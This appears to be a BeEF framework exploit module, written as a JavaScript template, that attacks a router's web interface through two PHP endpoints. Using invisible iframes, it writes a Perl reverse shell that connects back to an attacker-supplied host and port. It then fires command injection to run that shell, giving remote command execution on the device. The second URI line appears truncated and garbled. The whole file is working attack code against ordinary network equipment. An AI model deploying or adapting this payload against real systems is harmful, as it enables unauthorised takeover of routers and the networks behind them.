// beef.execute(function() { var rhost = '<%= @rhost %>'; var scheme = '<%= @scheme %>'; var lhost = '<%= @lhost %>'; var lport = '<%= @lport %>'; writefile = function() { var revshell='use+IO;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}'; revshell = revshell + '$c=new IO::Socket::INET(PeerAddr,"' + lhost + ':' + lport +'");'; revshell = revshell + 'STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'; var x25w_<%= @command_id %>= beef.dom.createInvisibleIframe(); var uri = scheme + '://' + rhost + "/fsSaveUIPersistence.php?strSubmitData=" + revshell; //About to hit uri x25w_<%= @command_id %>.setAttribute('src', uri); }; exploit = function() { //Command injecting on the router var x25e_<%= @command_id %> = beef.dom.createInvisibleIframe(); var uri = scheme + '://' + rhost + "/fsx25MonProxy.php?strSubmitData=start+|perl.setAttribute('src', uri); }; try { writefile(); setTimeout(exploit,5000); } catch (e) { beef.debug(peer + " - Exploit failed: " + e.message); } });